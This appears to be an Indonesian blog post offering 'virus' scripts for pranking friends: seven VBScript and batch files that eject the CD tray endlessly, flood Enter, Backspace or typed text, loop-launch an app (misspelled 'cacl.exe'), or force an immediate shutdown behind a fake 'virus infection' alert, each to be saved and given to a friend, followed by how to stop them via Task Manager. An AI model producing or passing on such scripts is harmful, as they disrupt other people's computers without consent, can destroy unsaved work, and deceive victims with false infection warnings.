Cara Buat Virus Untuk Isengin Temen

Salam Mumed,

 
"Bosen dengan belajar, mau iseng? Yuk, kita pakai cara sederhana saja untuk ngisengin teman kita sendiri.
Tapi jangan anda coba trik ini di komputer anda, klo dicoba berarti anda mengisengin diri anda sendiri & dapat dibilang anda melakukan tindakan senjata makan tuan donkkkk...!!!.
Penting..!!
Copy Paste Kadang Tidak Berhasil Dikarenakan Perbedaan Tanda Petik ( ” ” ) Pada Notepad, Untuk Lebih Fix Bisa Pake TextPad
Langsung saja di coba..!!!

1. Iseng Mengeject CD-Drive Terus Menerus.
   Set oWMP = CreateObject(”WMPlayer.OCX.7″)
   Set colCDROMs = oWMP.cdromCollection
   do
   if colCDROMs.Count >= 1 then
   For i = 0 to colCDROMs.Count – 1
   colCDROMs.Item(i).Eject
   Next
   For i = 0 to colCDROMs.Count – 1
   colCDROMs.Item(i).Eject
   Next
   End If
   wscript.sleep 5000
   loop
   
   Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda
   
2. Iseng Dengan Tombol Enter Terus Menerus
   Set wshShell = wscript.CreateObject(”WScript.Shell”)
   do
   wscript.sleep 100
   wshshell.sendkeys “~(enter)”
   loop
   Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda
   
3. Iseng Dengan Pesan Lambat Notepad “Hello, how are you? I am good thanks!”
   WScript.Sleep 180000
   WScript.Sleep 10000
   Set WshShell = WScript.CreateObject(”WScript.Shell”)
   WshShell.Run “notepad”
   WScript.Sleep 100
   WshShell.AppActivate “Notepad”
   WScript.Sleep 500
   WshShell.SendKeys “Hel”
   WScript.Sleep 500
   WshShell.SendKeys “lo ”
   WScript.Sleep 500
   WshShell.SendKeys “, ho”
   WScript.Sleep 500
   WshShell.SendKeys “w a”
   WScript.Sleep 500
   WshShell.SendKeys “re ”
   WScript.Sleep 500
   WshShell.SendKeys “you”
   WScript.Sleep 500
   WshShell.SendKeys “? ”
   WScript.Sleep 500
   WshShell.SendKeys “I a”
   WScript.Sleep 500
   WshShell.SendKeys “m g”
   WScript.Sleep 500
   WshShell.SendKeys “ood”
   WScript.Sleep 500
   WshShell.SendKeys ” th”
   WScript.Sleep 500
   WshShell.SendKeys “ank”
   WScript.Sleep 500
   WshShell.SendKeys “s! “
   
   Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda
   
4. Iseng Dengan Backspace
   MsgBox “Maaf, Anda Harus Mengulang Kembali”
   Set wshShell =wscript.CreateObject(”WScript.Shell”)
   do
   wscript.sleep 100
   wshshell.sendkeys “{bs}”
   loop
   Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda
   
5. Iseng Dengan Membuka Calculator Terus Menerus
   @ECHO off
   :top
   START %SystemRoot%\system32\cacl.exe
   GOTO top
   
   Kemudian save dengan “SUKASUKAANDA.BAT” & Berikan keteman Anda
   
6. Iseng Dengan Keyboard
   Set wshShell = wscript.CreateObject(”WScript.Shell”)
   do
   wscript.sleep 100
   wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki”
   loop
   
   Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda
   
7. Iseng Dengan Shutdown Computer
   @echo off
   msg * Komputer Anda Terinfeksi Virus
   shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0
   
   Kemudian save dengan “SUKASUKAANDA.BAT” & Berikan keteman Anda
   

CARA MEMATIKAN PROGRAM DIATAS :

1. buka task manager (ctrl+alt+del)
2. lalu cari wscript
3. matikan wscript dengan cara klik end process
4. dan akhirnya program notepad yang anda buat mati-mati

hahaha bagaimana sobat, tinggal kalian coba dan selamat menikmati hasilkaryanya!!
dan yang paling penting, jangan lupa berkomentar dan “Like” yoo